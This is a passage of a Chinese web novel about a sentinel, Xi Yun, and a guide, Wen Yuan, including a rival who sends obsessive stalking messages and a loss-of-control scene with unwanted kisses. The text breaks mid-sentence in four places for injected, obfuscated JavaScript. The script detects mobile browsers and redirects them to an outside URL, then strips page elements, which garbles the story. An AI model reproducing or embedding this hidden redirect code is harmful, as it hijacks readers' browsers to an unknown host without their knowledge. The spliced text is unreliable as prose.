“出门时,询问了队友的建议。”息蕴微微低头,外套的一侧滑落出没来得及摘掉的吊牌,“嗯?” “新买的衣服吗?”温沅看她迷茫的神色,解释道,“新买的衣服都要先把吊牌剪掉,您再低些头。” 息蕴不知道她想要做什么,但是也没有必要问,就听话地朝她倾下了身。 看着靠过来的人,温沅把菜放到了一侧,腾出双手,试着拽了拽那条碍事的吊牌。 无奈她的力气不够,又或是系绳太结实。 扯了许久,吊牌仍是纹丝不动地挂在大衣的领口。 息蕴看她使劲了半天,大概也明白了她的用意。 她想说自己可以把吊牌扯下来,还没开口,就感觉颈窝传来一阵热气。 温沅不知何时踮起了脚,唇贴在她的衣领一侧。 只见她咬住那条挂着吊牌的线,用力一拉,终于断了。 “扯下来了。”她将吊牌放到息蕴手中,仿佛什么也没有发生,转而又拎起了自己的菜,“对了,您在这里等我,是有什么事情吗?” 什么事情? 息蕴只感觉自己浑身发热,脑袋也转不过弯。 原本想要说的话,这会儿也全然抛在了脑后。 “最近一段时间,我总是感觉很热。” “很热?”温沅担心地看向她,“这样的情况很频繁吗?一般都是发生在什么时候?” “就在刚刚。”息蕴抿抿唇,“你靠近我的时候,突然就很热。” 若是换成别人,这样的话恐怕更像是情侣间的告白。 偏偏说话的人是息蕴,她说得直接,眼神里更没有一丁点暧昧的情绪。 像是……她真的很热。 “大概是我们的精神力有过联结。”温沅拍拍她的肩膀,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969993|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是什么大问题。” “你呢?” “我?” “如果我靠近你,你会很热吗?” “嗯……”温沅沉默了片刻,“偶尔也会吧?” 息蕴若有所思地点点头。 夜晚的街道上没有几个行人,两人并肩走着,许久都没有再说一句话。 息蕴偷偷看了一眼身边的向导,视线落到她手里提着的塑料袋。 塑料袋也许真的很重,勒得小蛇向导的手都泛起了红。 她想开口帮忙,这点东西的重量对哨兵而言并不算什么。 如果小蛇向导愿意,她甚至能连人带菜的,一起拎着回家。 脑子是活跃的,嘴巴却是笨的。 她犹豫了许久,把想说的话,一遍又一遍的在脑袋里反复练习,最后才开了口。 “我……” “我……” 两人忽地视线交汇,还是息蕴先偏过了头。 “你先说。” “我是想问,您今天来,只是为了刚刚那个问题吗?” 息蕴点点头,又摇摇头。 “我想在你附近租一间房,但是没找到。” “我帮您多留意,有房子的话,我……” 她想说随时联系,话到嘴边却忘了两人还没有任何的联系方式。 眼前木讷的哨兵,显然没想到这一层,还专心地盯着她瞧。 “我们加个联系方式吧。”她笑了笑,抬起手,把自己的联络器靠近她,“这样,你有什么问题,可以直接在联络器上问我。” 息蕴视线落在她手里的菜,联络器对接的一瞬,她也夺过了温沅手中的塑料袋。 “诶?” “我帮你拿。” 温沅愣了愣,顿时笑弯了眼。 “怪不得,我总觉得您一直往我手上瞧,原来是想帮我拿菜。您真是个好人。” 息蕴想,她也不是对谁都好的,只是看到温沅的笑容,她又无端地热了起来,好似成了个哑巴。 回去的路不太长,多数时候是温沅在说。 许是认定了息蕴要在附近住上一段时间,她仔细地给身边人介绍着周边的商铺。 息蕴偶尔应一声,目光始终没离开过温沅的脸。 和冷淡疏离的长相截然不同,她冒冒失失的,差点就莽撞地踩进了小区里的花圃。 临到楼道口,温沅停下脚,一边接过自己的菜,一边邀请道。 “这么晚了,您要不要到我家里一起吃晚饭?” “太麻烦了。” “好吧,不勉强您了。”温沅冲她笑了笑,“很感谢您今晚陪我回家。” 她说完,就拎着菜进了楼道。 息蕴站在原地,久久没有反应过来。 小章鱼气鼓鼓地从她脑袋上冒了出来,触肢戳着她的头。 “你很勉强吗?” “我以为人类都这样社交。” 息蕴也不理解。 出门的时候,她有咨询过队友。 队友说,向导们都喜欢温和有礼的哨兵。 可是她足够客气了,为什么小蛇向导却没有挽留她。 “你现在追上去,说你要吃晚饭。” 小章鱼还没见到小蛇,她不想走。 “可是……” 小章鱼见她犹豫,更是气急,洋洋洒洒地在她的脑袋上下了一场墨汁雨。 息蕴讷讷地低下头,手里还紧紧握着温沅刚刚咬下来的吊牌。 她悄悄把那根断了的线头放到了嘴边,抿了一下。 好像也没白来。 不仅加了小蛇向导的联系方式,还…… 息蕴冷下脸,视线望向身后深不见底的街尾。 还发现了一条看起来脏兮兮的,像是几天没洗澡的坏狗。 5. 第 5 章 白塔,训练室。 蚀空小队的队员们趴在窗台,偷偷看着正在露台上来回踱步的息蕴。 “队长怎么了?” “她一回来就这样。” “说训练室信号不太好,就举着联络器出去了。” “我刚刚经过她旁边,还听她碎碎念着什么,联络器坏了。” 几人互相交换了一个眼神,反应过来。 “队长,有情况了!” “不可能!队长身边就没见过什么人。” “就是,谁会和一个每天训练二十个小时的人机恋爱?” “该不会……是和副队……” 不等她们讨论出个所以然,身后就传来了一道沉沉的女声。 “不去训练,全都围在这里做什么?” 几人心虚地缩了缩脑袋,一个推一个,硬着头皮地转身过来。 “副队。” “先进去吧。”梁煦挥了挥手,没有计较她们刚才的话,“别偷懒。” 队员们见她没有生气,答应一声,赶紧溜回了训练室。 直到人都走光了,梁煦才睁大眼,好奇地看向玻璃外的人。 其实她心里也有猜测。 听说队长破坏了禁闭室后,一夜未归。 早上回来后也有些古怪,先是对着镜子照看了半天,又站在衣橱前沉思了许久,最后还抱着一堆新衣服过来问她哪件更好看。 真是怪事。 自从她认识息蕴以来,除了任务,就没见她出过白塔。 几乎是泡在训练室的人,什么时候开始如此注意形象了。 她想得沉浸,没注意到玻璃窗外的人缓缓朝自己走近。 “叩叩”两声,玻璃窗被人敲响。 梁煦恍然,对上了窗外一双无机质的眼。 即便是常年相伴的队友,偶尔她还是会被息蕴极具压迫性的眼睛吓到。 “队长。”她定了定,拉开窗户,“你找我?” “我的联络器。”息蕴皱着眉,把手上的联络器递到她面前,“好像坏了。” 联络器还亮着绿色的呼吸灯,网络和信号都是满格。 梁煦沉默了一瞬,问她。 “你为什么会认为它坏了?” “收不到消息。”息蕴看到她的表情,明白过来,垂下头,讷讷地说,“哦,原来是没给我发。” “队长,你该不会真的恋爱了吧?” 否则,怎么会因为没收到对方的消息,就站在露台半天,还怀疑联络器坏了。 “没有。”息蕴答得肯定。 梁煦松了一口气,刚想说话,又听她道。 “她不喜欢我。” “她不喜欢你?!” 梁煦瞪大了眼,不敢置信。 虽然她们队长吧,冷是冷了点,也不太会说话,但外在形象好,是新洲市顶尖的S级哨兵,更是整个战区的一级执行官。 “连你都看不上,你那暗恋对象得有多好看啊?还是说,你看上哪位中央议会里的向导了?” 想到温沅,息蕴诡异地红了红脸。 她的小蛇向导似乎很怕冷,每天都穿得很多,抱起来软软的,好像一个毛茸茸的雪白团子。巴掌大的脸,鼻子小小的,嘴巴也小小的,只有一双眼睛,又圆又大,被吓到瞪大的时候很漂亮,气恼时瞪人也漂亮,帮她疏导到最后,体力不支时,眼尾泛红的模样特别漂亮。 “嗯。”她轻轻应了一声,就在梁煦震惊的眼神里点头道,“她是特别好看的。” 夜幕降临,特别好看的人正昏昏欲睡地用着晚餐。 最近两天消耗了过多的精神力。 温沅连吃饭都不能专心,一口菜配几个哈欠,差点就趴在饭桌上昏睡过去。 小蛇担心她,攀住她的手不让她吃了,脑袋还一个劲儿地往卧室摆。 “温沅,你要睡觉,不睡觉会死掉。” “知道了,小蛇。”温沅伸手摸摸她的脑袋,忍不住又打了个哈欠,“好像是有一点困。” 幸好,明天是她的休息日。 温沅把联络器静音了放在床头,洗漱完就躲进了被窝。 卧室关了灯,精神力枯竭的向导睡得很沉。 联络器亮起了蓝色的荧光,断断续续了许久,一直无人接通。 息蕴望着无人应答的界面,又开始怀疑自己的联络器出了问题。 她耐着性子,从训练室到露台,再到休息的房间,一连打了十几个视频通话。 就差点要放弃时,通话突然接通了。 她突然有些紧张,一边凭空地划拉着头发,一边悄悄地看向了屏幕。 画面那头没有开灯,黑乎乎的一片。 息蕴眯了眯眼,凭借着过人的视力,在漆黑中看到了—— 半个蛇头。 息蕴:“……” 小蛇吐着信子尝了尝屏幕,似是和息蕴打招呼。 “小蛇,晚上好。”息蕴回过神,虽然没有看到想见的人,但她还是礼貌地和小蛇做了回应,“好久不见,小章鱼她……” 说到这里,小章鱼已经迫不及待地从精神图景里爬了出来。 她看起来高兴极了,很快就夺过了联络器,八条腿抱着屏幕,脑袋晃晃悠悠地和对面的小蛇聊了起来。 息蕴无奈,她听不懂两个精神体的对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【不叫宝宝,那叫老婆好不好,老婆宝宝】 联络器疯狂地震动起来,小蛇吓得一哆嗦,直接把它扔下了床头。 动作之间,她又误触到了回复的键盘。 【aaaMAMA!@#¥@¥……@!(*))】 对面的人看到消息后,久久才回复。 【宝宝喜欢我这样叫你?】 【虽然有些怪怪的】 【不过宝宝喜欢的话……】 【妈妈,妈妈,妈妈】 6. 第 6 章 半夜又下起了雪。 厚重的浓雾氤在窗户外,阴云密布的,分不清是早晨还是到了傍晚。 温沅一觉醒来,精神力恢复了稍许。 她坐起身,想要看看时间,习惯放在床头的联络器却滚到了她的脚边。 “不小心碰到了吗?” 她疑惑地捡起联络器,映入眼帘的便是陌生号码的骚扰短信。 其中还夹带了两条莫名其妙的乱码,显示由她发出。 昨晚这个时间点,她早就昏睡了过去。 不是她,那就是…… 温沅看向床尾,裹着被角的小蛇眼神乱转,显然是心虚。 “是它一直嗡嗡响,我想帮你关掉。” 只是她用不明白,不仅莫名其妙接通了一个视频,还胡乱地回了两条信息。 “知道了。”温沅摸摸她的小脑袋,没有责怪,“要不要回来睡一会儿?” 小蛇向来昼伏夜出,白天是她补觉的时间。 若是以往,她早早就缩回了温沅的精神图景。只是昨天温沅睡了很久很久,她有些担心。 小小的脑袋歪了歪,她专注地望着温沅,没有回答。 “我好很多了。”温沅半蹲下身,视线和床上的小蛇持平,“真的,我还在你的小洞旁边种了一圈小花。” “温沅!”小蛇气鼓鼓地呼呼两口气,“你不要再浪费精神力给我种花了!” 她每次生气都会大喘气,尾巴也止不住地摇。 温沅看她尾巴摇得唰唰响,没忍住,伸手按住了。 尾巴不能动弹,小蛇更恼了。 她恶狠狠地瞪了温沅一眼,扭着身体狠狠一甩,抽出尾巴继续摇。 温沅很有耐心地挪了挪手指,再次按住。 气急的小蛇猛地抬起脑袋,张着大嘴巴就想咬她。 许是猜到了她的动作。 温沅顺势把手指伸过来,塞进了她的嘴里。 小蛇一愣,偏着头躲开,小红眼里满是抱怨。 “温沅,你这是碰瓷!” “我知道你担心我。”温沅抚了抚她的背,“可是,我是你的人呀,给你舒适的环境,本来就是我应该做的嘛。” 小蛇原本紧绷的脑袋顿时耷拉下来,偷偷蹭了蹭温沅的指尖。 “要是我等级再高一点就好了。”温沅感慨一声,“说不定还能在精神图景里给你做两只小青蛙。” “我又不喜欢小青蛙。”小蛇吐了吐信子,不赞同她的话,“小章鱼的人是S级,但是小章鱼的人就不会给她种花。” 温沅想说小章鱼生活在深海,暗不见底的,种了花也看不到。 只是想起息蕴,她又有些困惑。 “说来也奇怪,我只是B级,怎么会和S级的哨兵匹配度超过60呢?” 为了安全起见,向导在给哨兵疏导之前,通常会先做一次匹配度测试。 匹配度不够的向导与哨兵,很难产生精神力联结,强行疏导,可能会导致其中一方的精神图景受损。 而等级差异太大的两人,匹配度往往也很低,极少有不同等级的异能者匹配度达到60。 像她和息蕴,明明差了两个等级,匹配度竟然还能高达90,更是闻所未闻。 “说不好,你以后也会到S级呢。”小蛇认真地歪着头,小脑袋里思考着,“我刚出现的时候只有一个手掌长,现在已经超过两个手掌了!” 小蛇能长,温沅的精神力为什么不能长呢。 温沅笑着点点头,没有反驳她的话,只顺着她道。 “也许吧,等我升到了S级,我就……” “不要小青蛙!” 温沅被她气恼的话音逗笑了,正想说话,联络器却不合时宜地震动起来。 一夜没收到回复。 陌生电话却不改热情的态度,甚至适应良好地改了称呼。 【妈妈,早上好^^】 【喜欢你,喜欢你,喜欢你,喜欢你,喜欢你】 【坏妈妈,为什么不回消息】 【在做什么?】 【在和别人聊天吗?】 【是昨天送你回家的那个女人?】 【呵,我都看到了,你帮她扯吊牌】 【装模作样!这么大人了吊牌还要别人帮忙扯!】 【我就不一样,我会自己扯吊牌!】 【555但是你离她好近】 【生气!生气!生气!生气!生气!】 【你都没有主动靠近过我!】 【不过,如果妈妈离我那么近……】 【一定会被我亲死的哦~】 【好喜欢妈妈,好喜欢妈妈】 【想舔你,舔你,舔你】 温沅沉默了一瞬,难得有些语塞。 她拿起联络器,犹豫了许久,还是回了一条。 【每天发那么多短信,你钱很多吗,别在我身上浪费时间了。】 消息刚发出去,对面立刻有了答复。 【对的,妈妈,我有很多钱!】 【到时候我养你好不好?】 【好想把妈妈关在家里,每天只能看到我】 【只能给我看,只能给我亲,只能给我舔】 温沅再没往下看,手一划,把陌生号码扔进了黑名单。 病房内,金家的秘书顶着低气压问道。 “千娜小姐,发生什么事情了吗?” “我妈妈拉黑我了。”金千娜沉着眸,“待会儿帮我申请几个通讯号码。” “啊?”秘书愣了愣,没听明白,“您的母亲不是已经……” 金千娜微微瞥了她一眼,灰眸里像凝了一层冰。 秘书立刻噤声,垂着头退后两步,没敢再打扰。 外界虽有传闻,金家并不重视新寻回的小女儿,可她却知道事实并非如此。 家主早在认回千娜小姐的时候,就把心腹都安插了过来。迟迟没有对外公布千娜小姐的身份,必然也有家主自己的考虑。 更别说,不论是S级的基因,还是冷脸时的气势,千娜小姐都俨然就是家主的翻版。 她隐隐约约有了猜测,自然不敢怠慢这位金家未来的掌权人。 大雪下了一整夜。 温沅把人拉黑后,就起身到了窗边。 积雪堵住了楼道口,住在楼上的热心阿姨正拿着工具铲雪。 温沅想了想,换上厚实的羽绒服,拎起一把小铲子出了门。 她到楼下的时候,阿姨已经铲出了一小片空地。 见到有人帮忙,她笑着招呼道。 “小温啊,今天不用去上班吗?” “今天休息呢。” 温沅抿了抿唇,默默跟上阿姨的动作,把堵路的雪铲到两侧。 两人没再多说话,倒是配合默契,很快就清理出一条能走的小路。 “今天多亏有你帮忙啊。”阿姨靠在楼道口,把铲子一放,气喘吁吁的,“我们这栋楼里剩的住户,基本都是老人家,年轻人啊,早都往中央区里跑了,连个帮忙铲雪的人都难找。” 以白塔为中心,周围的几个城市都被大家称为中央区。 中央区的市民,要么非富即贵,要么就是高级异能者。 人们以成为中央区市民当做身份和财富的象征。 于是,每年都有大批的年轻人怀揣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969995|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着梦想,到中央区里工作。 而新洲市距离白塔很远,飞行器都要开足足两个小时。 城市发展不起来,医疗条件和教育资源的落后,导致城市老龄化严重。 她搬进这栋楼里的时候,住户还是满满当当。 如今只剩下零零星星几家,几乎都是老人。 “对了,阿姨。”温沅一个激灵,想到了息蕴拜托她的事情,“您知道附近有正在出租的房子吗?” 息蕴收到温沅的消息,已经是半个小时后。 她刚做完一场训练,头发还湿漉漉地贴在前额却顾不得擦。手拿着联络器,把温沅发给她的话反复的、逐字看了好几遍。 温沅:【息女士,午好~】 温沅:【我有打听到一处正在出租的房子】 温沅:【就在我隔壁哦~不过租金有点贵,每个月需要支付2000塔币】 温沅:【房东阿姨说,需要的话,随时都可以看房】 温沅:【您方便过来一趟吗?】 息蕴隔着屏幕,仿佛都看到了温沅说话时可爱的模样。 息蕴:【有空】 她回了简短的两个字,又觉得太冷漠,撤回后重发了一条。 息蕴:【有空[微笑.jpg]】 温沅看到她特地补充的表情,忽地有些哭笑不得。 温沅:【下次您可以用这个表情】 温沅:【小章鱼OK.gif】 息蕴看了看她发过来的动态表情。 Q版的小章鱼一蹦一蹦的,手里还举着一个写着OK的牌子。 确实比她的黄脸龇牙笑可爱多了。 息蕴:【小章鱼OK.gif】 * 温沅住的这栋楼是一梯两户。 对门的两间房,布局几乎相同。 房东提前给她们发了图片,和肉眼看到的差不太多。 只是太久没有住人,即便关着门窗,屋里仍旧积了一层厚厚的灰。 温沅走在息蕴前头,仔细地给她介绍。 “这间是主卧,窗户大还朝南,适合休息。旁边这间小一点的,您可以存放一些杂物。对面是卫生间,空间还挺大的,上次……” 上次…… 息蕴呆呆地跟在她身后,情不自禁地想起了自己的失控期。 那天晚上,她跟着小蛇向导回了家。 不仅借用了她的卫生间,还用了她的沐浴露,穿了她的睡衣,更是在那张柔软的大床上,睡了一夜。 意识清醒后,她又喜又气。 喜的是自己和小蛇向导的关系,终于更近了一步。气的却是小蛇向导怎么能随便就把坏心眼的哨兵带回家,即使是她也不行。 她想得入神,不知什么时候跟着温沅走进了淋浴区。 干湿分离的卫生间,淋浴区特地用玻璃做了隔档。 息蕴杵在玻璃门旁,高大的个子将出口堵得严实。 光线也因此暗了下来。 温沅若有所感地回头,只见息蕴一步步地朝自己逼近,最后把她挤进了角落。 “嗯,很大。”息蕴低下头,无神的眼直勾勾地望着被自己半抱在怀里的向导,“两个人一起也不会拥挤。” “息蕴!”温沅惊叫一声。 下一刻,她就被头脑发热的哨兵揽进了怀里。 好香啊。 老婆好香。 墨色的长发拂过温沅小巧的耳廓,息蕴控制不住地把头埋进了她的颈窝。 温热的唇也在这一刻贴了上来,湿润又黏着,密密麻麻地落在她的耳后和侧颈。 “老婆,我好热,帮帮我,帮帮我好吗?” 7. 第 7 章 热,好热。 息蕴低喘着气,头晕目眩的,仿佛只有闻到温沅的气味才能得到缓解。 她只好更靠近自己的解药,身体也不自觉地贴着她蹭动,不容拒绝的手臂横在她两侧,指尖都深深地陷进了那件柔软蓬松的羽绒服。 温沅的手被迫压在她的肩头,无力地拍打着。 “息蕴,你清醒一点。” “我很清醒。” 息蕴贴着她敏感的侧颈,说话间,热气似有似无地往衣领里钻。 温沅想躲,偏过头时却露出更多的肌肤。 炙热的吻一点点地占据着、侵蚀着她。 若不是息蕴的手臂还环抱在她身侧,恐怕她早就因为腿软,坐倒在地。 脑袋不清醒的人,顿时也多了一个。 “我很清醒的。”息蕴用唇轻轻摩挲着她的耳根,“你是温沅,很热的温,水流的沅。温沅,温沅,我的,我的老婆。” 燥热蔓延了全身,息蕴退开稍许,用手抬起温沅的下巴。 她着迷的目光,由温沅泛着水光的眼,一直看到她紧紧抿着,殷红的唇。 老婆的嘴巴,红红的,小小的。 尝起来会是什么样的味道。 她不过是亲了一下老婆的耳朵,老婆就红了眼。 要是她…… 老婆会不会哭啊。 息蕴不受控地咽了咽口水。 她想,她就轻轻地,轻轻地亲一下就好。 想要亲吻的念头占据了整个大脑。 息蕴眼神失焦了几秒,微微低头,蠢蠢欲动的唇却被温热的掌心捂住。 “不要,息蕴。”温沅的手有些发抖,声音也轻飘飘的,“我不喜欢这样。” 不喜欢…… 老婆不喜欢这样。 息蕴顿住,没有表情的脸,看不出任何的情绪。 而下一刻,她却抬起手,扣住了温沅的手腕,往下一拉。 温沅知道自己挡不住息蕴。 S级的哨兵对于她一个B级向导而言,有绝对的压制性。 她开口,不过是对息蕴还抱有一丝期待。还以为,即使陷入了失控期,息蕴和其她哨兵也是不一样的。 就在她失望地闭起眼那一瞬,柔软的唇印在了她的额头。 嗯? “老婆不喜欢,不能亲嘴巴。”息蕴喃喃自语着,“为什么不能亲,老婆是不是不喜欢我?不喜欢我,喜欢谁呢?喜欢那只脏兮兮的狗,还是别人?为什么,不能喜欢我?” 明明没有多余的表情,温沅却从她紧皱的眉里看出一丝委屈。 “没有不喜欢你。”温沅悬着的心落了下来,她伸手捧着息蕴的脸,认真地解释,“谈恋爱要慢慢来,循序渐进,知道吗?” 息蕴似懂非懂地歪了歪头,原本一丝不苟的长发,如今已经凌乱地垂落在脸侧。 温沅觉得自己多半是疯了。 否则怎么会认为失控期的息蕴那么……可爱。 反正,执行官清醒了也不会想起来。 她悄悄伸出手,环住了对方的腰。 息蕴来得匆忙,只换了一身干净的训练服。 单薄的衣衫贴着窄窄的腰身,温沅迟疑片刻,随后收紧了手。 察觉到温沅的举动,还有些失落的息蕴霎时瞪大了眼。 “老婆,你抱我,你抱我呢。” 她傻乎乎地说着,长臂一展,包裹住温沅的胳膊,将她整个人按向了自己。 狭窄的淋浴间内,两个人紧紧相拥在角落。 “老婆,再抱紧一点,好不好?” “嗯。” “再紧一点嘛。” “很紧啦!” 温沅努力仰着头,像是快要透不过气。 息蕴嘿嘿地笑着,鼻尖埋进了她细软的发。 “很喜欢你的,很喜欢你。” 神志不清的哨兵痴痴地想着。 要是每次失控期都可以抱抱老婆,那她愿意天天都是失控期。 醒来的时候,天已经暗了下来。 息蕴睁开眼,看到熟悉的客厅,脑海中回放着不久前的记忆。 她绷着一张脸,耳朵却不自觉地染上了红。 失控期的她,居然亲吻了小蛇向导的脸颊。 她怎么……怎么能做出,如此无礼、冒犯的举动! 幸好,小蛇向导没有生气。 不对。 不止是没有生气,她还主动抱了自己。 是黏黏糊糊的,密不可分的拥抱。 身体的每一处,几乎都贴合在一起。 息蕴心情有些复杂。 明知道,失控期的她和清醒时候的她,都是同一个人。 可是她心里却止不住地泛酸。 小蛇向导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969996|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动抱了失控期的她,面对清醒的她却还生疏地叫着“息女士”。 是不是,小蛇向导心里也更喜欢失控期的她? 乱七八糟的情绪塞满了脑袋,她感觉自己快要爆炸。 就在这时,轻快地脚步声传来。 熟悉的香味更先一步霸占了哨兵敏锐的嗅觉。 息蕴抬起眼,看到穿着家居服的温沅朝自己小跑过来。 她手里捧着一杯温热的水,小心递给她,关切地问道。 “息女士,您感觉还好吗?” “抱歉。”息蕴垂下眸,光是看着她的脸,那股无端的热意又烧了起来,“我是……又失控了吗?” “嗯,您最近失控期很频繁。”温沅蹲在沙发边,手撑着脸,认真道,“我想,您需要多加几次疏导治疗。” “好,我会提前预约。”息蕴沉默片刻,“我刚刚没有做出什么奇怪的举动吧?” 温沅怔怔,脸倏地一下红了个彻底。 “没……没关系的,失控期,很正常。” 什么叫很正常? 息蕴一瞬沉了脸。 “你还见过其她失控期的哨兵?” 温沅是百口莫辩,想要解释,联络器却响了起来。 来电显示是个陌生号码,她却顾不得多看,逃一般地点了接通。 对话那头,金千娜一身浅灰色的病号服,看起来蔫蔫的。 “小沅医生,你今天怎么没来上班?我好想你呐。” “娜娜?”温沅回过神,有些诧异,“你怎么会有我的通讯号码?” “我今天睡午觉从床上摔了下来,腿都青了一块。”金千娜避开了她的问题,镜头下移到她膝盖的淤青,又凑到镜头前,可怜巴巴地眨着眼,“晚饭也没吃好,现在肚子还有点疼。你不在我身边,我好像还是不能适应这里的生活,什么都做不好。” 她嘟嘟囔囔地说着,视频看不到的地方却有人脸色越来越难看。 “哐啷”一声脆响,打断了她的话。 金千娜只看到镜头天旋地转,最后定格在了洁白的天花板。 通话还没挂断,她清晰地听到那边传来一道低低的女声。 “我笨笨的,杯子都拿不好,抱歉,又给你添麻烦了,小蛇向导。” 她明媚的笑容一僵,恶意简直要冲破屏幕。 臭海鲜,又登门入室了是吧。 8. 第 8 章 灰狼在温沅楼下守了一整天。 眼看着息蕴进了楼里就再也没出来,天都黑了才想起回去呜呜咽咽地告状。 至于息蕴的身份,早在她留宿的第一天,金千娜就查了个仔细。 白塔第一个3S哨兵,建塔以来,年纪最轻的执行官。 这是大家都能查到的信息。 至于她的身世、背景,白塔保护得很严实。 即使她动用了金家的人脉,依旧查不出半点东西。 可一个频繁跑污染区,作战能力一级的哨兵。 连衣服的吊牌都不会拆,甚至喝水还打破杯子…… 金千娜捏紧了手中的联络器。 看来是遇到劲敌了。 比她还能装模作样。 明明医院里那些暗自向小沅医生示好的人都被她清理了干净,没想到半路还杀出一个等级和她一样的哨兵。 3S……也不过如此。 角落里,灰狼对着墙,哭得一抽一抽的呼呼响。 金千娜沉默了片刻,伸手摸摸她。 “别哭了,明天就让你见小蛇。” 灰狼顿了顿,回头望了眼她的人。 “眼泪,留到明天当着小沅医生的面再哭。” 联络器暗了下来。 温沅正捧着息蕴的手,来回检查,生怕她被热水烫伤,冷不丁却听她问道。 “她也是你的哨兵吗?” 她? 温沅疑惑地抬起头,想了想,终于反应过来她说的人是金千娜。 “不是。”温沅笑着摇了摇头,“她只是我负责的病人。” “我失控时……”息蕴犹豫了片刻,“我从前在白塔里上生理知识课,书里说失控期的哨兵会渴望向导的亲近,除了精神上的疏导,甚至还需要□□上的安抚。” 她多说一个字,温沅的脸颊就多红一分,到了最后,耳朵都泛起了绯色。 “我,也会对你那样吗?” 息蕴反握住她的手,幽邃的眼睛也望了过来。 温沅不敢看她,求饶一般地,手指轻轻挠了一下她的掌心。 又撒娇了。 息蕴感觉自己又开始燥热。 小蛇向导的手握起来也很舒服。 小小的,热热的,软得像是摸不到里面的骨头。 “那……其她的哨兵呢?你疏导的……” 她话还没问完,就被温沅小声地打断。 “您是我唯一疏导过的高级哨兵。”她埋着头,低声解释道,“我是B级向导,疏导B级哨兵,并不需要疏导室,隔着防护板就能进行。” B级的哨兵,失控期也不会释放太多的精神力。 而S级哨兵不同,若是无法匹配,精神崩溃导致进入狂化期,释放的能量足以毁掉整个医疗中心。 初次接触的向导和哨兵,疏导都必须在密闭的疏导室里进行。 所以,她是第一个,也是唯一一个,在失控期里和小蛇向导亲密接触的哨兵吗? 息蕴顿怔,手不自觉地握着她的搓了搓。 “怎么了?”温沅担忧地皱起眉,“你的手烫到了吗?” 息蕴哑然,面对她关切的目光,只好硬着头皮“嗯”了一声。 “好像是。” “给我看看。” 温沅赶紧扒开她的手,仔细地翻看。 息蕴垂眸望着她,心里更是肯定了自己想法。 怪不得…… 她失控期那样呆呆笨笨的,整个人都要挂在小蛇向导身上撒娇。 小蛇向导不仅没生气,还主动抱了她。 原来,小蛇向导就是喜欢生活不能自理的笨蛋。 “我总是笨手笨脚。”息蕴凑头到她面前,“以后,我做了你的邻居,会不会很麻烦你?” “不会啊。”温沅弯了弯眼,“您太客气了,有需要的话都可以来找我。” 息蕴对上她的笑眼,又看呆了。 有了小蛇向导的话,她应该会三天两头就有麻烦了吧。 * 天已经彻底黑了下来。 息蕴没有留宿,只让小章鱼陪着小蛇玩了一会儿钻圈圈,就起身离开。 从新洲市回白塔要飞两个多小时,但她有特制的飞行器,时间缩短了整整一半。 回到宿舍的时候,队友们也正好结束训练。 看到是她,梁煦有些意外。 “队长,你不是去找你的向导了吗?” “嗯。”息蕴言简意赅地应了一声,“回来收拾东西。” “收拾什么啊?”另一位队员凑了过来,“队长,你要出远门?” “我向白塔提出了假期申请。”息蕴拍拍梁煦的肩膀,“为期两个月,期间由你担任临时队长。” “什么?”梁煦顿时苦了一张脸,她看了眼自己的联络器,果然收到了塔的任命信息,“你就好了,要和喜欢的向导甜甜蜜蜜,我就要带着一群小崽子进污染区!” “副队,我们好歹也是S级的哨兵。”其中一位队员不满意了,“其她小队都羡慕咱们的全S阵容呢。” “你懂什么?”旁边的队员拍了一下她的脑袋,“副队是羡慕咱们队长有向导了!诶?” 两人一惊,同时看向息蕴。 “队长,你居然找到向导了?” 要知道,虽然她们都是S级的哨兵,但任务重,常年出入污染区,队内全员都是单身。 她们队长更是一副生人勿近的模样,常年拒绝白塔提供的疏导治疗,精神体还吓晕了好几个向导。 就这样冷冰冰的人,居然是她们当中第一个找到向导的人?! “好想知道是何方神圣,收服了队长。” “队长也瞒得太好了吧,直接一步到同居了。” 她们碎碎念叨着,息蕴却没有反驳。 她的行李不多,只有几件训练服。 其实衣柜里还有很多,白塔送过来,没有拆封的新衣服。 只是,买衣服这件事,拜托一下小蛇向导也是可以的吧。 送走息蕴,温沅的联络器又响了。 是金千娜发来的消息—— 【小沅医生挂了我的电话,好伤心啊QAQ】 【作为补偿,小沅医生明天陪我吃早餐吧~】 【灰灰也想你了】 【一张自拍.jpg】 【哎呀,手滑不小心发错了】 【我随便拍的,小沅医生不会笑话我吧QAQ】 【本来要发的是这个】 【灰灰大头照.jpg】 温沅先点开了第二张。 